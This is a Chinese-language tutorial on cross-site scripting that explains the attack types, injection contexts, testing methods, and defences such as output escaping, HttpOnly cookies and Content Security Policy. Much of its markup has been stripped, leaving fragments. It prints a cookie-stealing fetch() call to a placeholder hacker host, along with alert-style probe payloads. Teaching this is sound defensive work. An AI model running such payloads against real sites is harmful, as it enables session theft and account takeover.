XSS(Cross-Site Scripting,跨站脚本)是一种网页攻击方式。攻击者把恶意的JavaScript代码注入到网站里,让这些代码在用户的浏览器上运行,进而窃取信息、控制网页。
简单说:XSS 就是“黑客在网页里偷偷塞入恶意代码”。
假设你在一个留言板上留言,你希望它正常显示你输入的内容,比如:
你好,世界!
但如果网站没有对输入进行过滤,黑客就可以输入恶意代码:
反射型 XSS 是最常见的一种 XSS 攻击,它通过在 URL 中嵌入恶意代码,一旦用户点击链接,恶意代码就会被服务器“反射”到浏览器并执行。
$name = $_GET['name']; // 获取用户输入的参数
echo "Welcome $name
"; // 直接输出到网页
?>
攻击方式:
,当用户点击这个链接时,浏览器会执行
,弹出提示框。储存型 XSS 更加危险,因为它将恶意脚本存储在服务器的数据库、日志文件或者文件系统中,通常会影响到所有访问该页面的用户。
示例:
,这个恶意脚本会被存储在数据库里,并显示在其他用户的浏览器中,导致脚本执行。3.3 DOM XSS
DOM XSS 是通过操作网页中的 DOM(文档对象模型) 来执行恶意代码的,攻击过程不涉及后端服务器,仅通过前端的脚本执行。
示例:
onclick="alert(1111)"
就是一个简单的 XSS 攻击代码。点击我
,它会在用户点击链接时弹出提示框。我们先做个小实验,在你的浏览器里打开一个本地HTML文件,看看XSS代码的效果。
你可以打开记事本(Notepad),输入以下代码,然后保存为 xss_test.html
。
```plaintext
```
xss_test.html
。你好,世界!
现在,我们输入:
然后点击提交,你会看到一个弹窗,说明浏览器执行了这段代码!
这就是XSS漏洞的基本原理:网页没有对用户输入进行过滤,导致恶意代码被执行。
想象一下,如果黑客用 XSS 插入以下代码:
fetch('http://黑客网站.com/steal?cookie=' + document.cookie);
这段代码会把你的网站Cookie(包含登录信息)偷偷发送到黑客服务器,黑客就能冒充你登录网站,甚至盗取账户!
详细解说:
在浏览器里打开 开发者工具(F12),然后在 Console
里输入
console.log(document.cookie);
你会看到类似这样的输出:
session_id=ABC123XYZ; user=张三;
这个 cookie 可能存储了你的登录信息!
如果黑客获取了这个 cookie,就可以冒充你登录网站。
看看这段恶意代码:
fetch('http://黑客网站.com/steal?cookie=' + document.cookie);
它的执行流程如下:
标签。document.cookie
读取了当前网站的 cookie。http://黑客网站.com/steal?cookie=session_id=ABC123XYZ;user=张三;
这个请求把cookie 发送给黑客服务器,黑客就能得到你的登录信息。
如果这个 cookie 里包含登录凭证(Session ID),黑客可以:
XSS攻击可能出现在不同的网页上下文中。每种上下文的特点决定了XSS漏洞的表现形式。下面是常见的几个上下文,接下来我会详细解释每个上下文,以及如何理解它们。
HTML上下文指的是HTML标签或元素内的内容。如果用户的输入被直接嵌入到HTML标签中,并且没有经过适当过滤,就可能导致XSS攻击。
示例:假设一个网站允许用户输入姓名,并将该姓名显示在页面上。如果没有对输入进行过滤,攻击者可以提交如下恶意输入:
欢迎,
属性上下文指的是HTML标签属性的值。很多HTML标签(如
、、
等)使用属性来设置内容,例如
src
、href
、alt
、title
等。如果用户输入的数据被直接插入到这些属性中,并且没有经过过滤,也可能导致XSS攻击。
示例:假设一个用户可以输入自己的头像URL,如果没有过滤,攻击者可能输入如下恶意链接:
问题:
URL上下文指的是URL中的查询字符串部分。许多网站在URL中传递数据(例如:?id=123
)。如果这些数据未经适当处理,并且直接插入到网页中,攻击者可以利用这个地方进行XSS攻击。
示例:如果一个URL是这样的:
Example Domain
并且页面直接展示了 URL 参数的内容,那么攻击者的脚本就会在页面加载时执行。
问题:
样式上下文是指 CSS 的上下文。如果用户输入的内容被嵌入到 标签或 CSS 样式中,且没有过滤恶意输入,就可能导致XSS攻击。
示例:假设一个网站允许用户自定义背景颜色,如果没有进行过滤,攻击者可以输入如下内容:
body { background: url('javascript:alert("XSS")'); }
问题:
脚本上下文指的是 JavaScript 代码执行的环境。攻击者可以通过输入恶意脚本,直接在 标签中执行 JavaScript 代码。这通常是 XSS 漏洞的最常见表现形式。
示例:如果用户输入的数据没有经过适当处理,攻击者可以输入如下恶意代码:
然后该代码被直接嵌入到 HTML 页面中的 标签内。
问题:
在这些输入点中,输入一些特殊字符或潜在的恶意代码,通常使用以下字符来测试是否存在漏洞:
手动测试案例:假设你在一个网站的搜索框中输入:
然后点击搜索按钮。如果返回的页面显示了你的输入并且执行了这个脚本,说明存在XSS漏洞。
点击提交后,查看网页源码,检查返回的内容是否直接包含了你提交的恶意代码。如果是直接插入并执行,说明没有进行适当的输入过滤,可能存在XSS漏洞。
使用浏览器的开发者工具(F12)查看响应的 HTML 源码,搜索你提交的恶意字符(比如 或
onerror
)。检查返回的 HTML 是否包含这些字符,并且看它们是否被正确过滤。
如果找到了一个可以注入脚本的地方,尝试构造一个 JavaScript 脚本并提交它,看看是否能够执行。如果能够执行,说明存在 XSS 漏洞。
实例:假设你在搜索框中输入了:
">
如果页面没有对这个输入进行过滤,攻击者的 JavaScript 脚本就会被执行,从而实现XSS攻击。
总结:
改进上面的代码,不让 执行:
document.getElementById("comment").innerText = msg;
这样,即使输入 ,它也会以纯文本显示,而不会执行。
把 <
变成 <
,>
变成 >
,让浏览器只显示文本,而不执行代码。
HttpOnly
,让 JavaScript 不能读取 cookieSet-Cookie: session_id=ABC123XYZ; HttpOnly;
这样,document.cookie
就无法读取这个 cookie,黑客也就无法窃取。
Content Security Policy (CSP)
CSP 可以阻止网站执行外部的恶意 JavaScript 代码,比如:
Content-Security-Policy: default-src 'self';
这样,浏览器就不会执行 fetch('
http://黑客网站.com/steal')
这样的恶意代码。
4.1. 为什么 CSP 能阻止恶意 JavaScript?
XSS 攻击的核心问题是:
黑客可以把恶意 JavaScript 代码注入到网页里,并让浏览器执行!
CSP 的作用就是告诉浏览器“哪些 JavaScript 可以执行,哪些不能执行”。
如果 CSP 规则不允许加载黑客的 JavaScript 代码,那么即使黑客成功注入了,浏览器也不会执行它!
4.2举个例子:没有 CSP,黑客可以执行恶意代码
假设你的网站有一个留言板,允许用户提交评论。如果网站没有过滤,黑客可能输入:
如果服务器直接把这条评论显示在网页上,浏览器会去黑客网站下载 malware.js
并执行它,造成攻击。
4.3. 设置 CSP 规则,阻止外部 JavaScript
CSP 让你可以控制:
示例:设置 CSP
服务器返回的 HTTP 头部里加上:
Content-Security-Policy: default-src 'self';
含义:
这样,即使黑客注入了:
浏览器也不会执行!你可以在 Console(F12)
里看到 CSP 拦截的错误日志。
4.4CSP 还能防哪些攻击?
除了 JavaScript,CSP 还可以防:
HttpOnly
只能防 XSS,不防 CSRF虽然 HttpOnly
能防止 XSS 窃取 Cookie,但它无法防止 CSRF(跨站请求伪造)。
CSRF 利用的是 “浏览器会自动带上 Cookie”,比如:
当用户打开这个网页,浏览器会自动带上 HttpOnly
Cookie,从而完成转账。因此,还需要搭配 CSRF Token 防御。
HttpOnly
?fetch()
是 JavaScript 提供的网络请求方法,它的作用是在后台发送 HTTP 请求。这意味着:
标签中,当页面加载时,JavaScript 代码会在用户浏览器上执行,从而触发弹窗。javascript:alert('XSS')
会在浏览器中被执行,触发 alert()
弹窗。search
参数的内容插入到页面中,并且没有过滤,攻击者的恶意代码会被执行。javascript:alert("XSS")
作为背景图片的 URL,这样当页面加载时,恶意脚本就会执行。测试XSS漏洞时,有两种常用的方法:工具扫描 和 手工测试。下面详细介绍这两种方法。
使用安全扫描工具(如 APPscan 或 AWVS)可以自动化地检测出XSS漏洞。工具会模拟攻击者的行为,通过大量测试和策略,自动扫描出可能存在XSS漏洞的地方。这些工具非常适合在大规模网站或应用中进行扫描。
手工测试XSS漏洞需要安全测试人员具备一定的技巧和经验,通常会结合以下步骤:
首先,需要在目标站点上找到用户可以输入数据的地方。例如:
—— 测试网页是否可以执行脚本。">
—— 用来测试HTML属性中的XSS漏洞。javascript:alert(1)
—— 测试URL中的XSS漏洞。self
)上的 JavaScript。session_id
)必须用 HttpOnly
,防止 JavaScript 窃取。user_preferences
)可以不用 HttpOnly
,因为前端需要读取。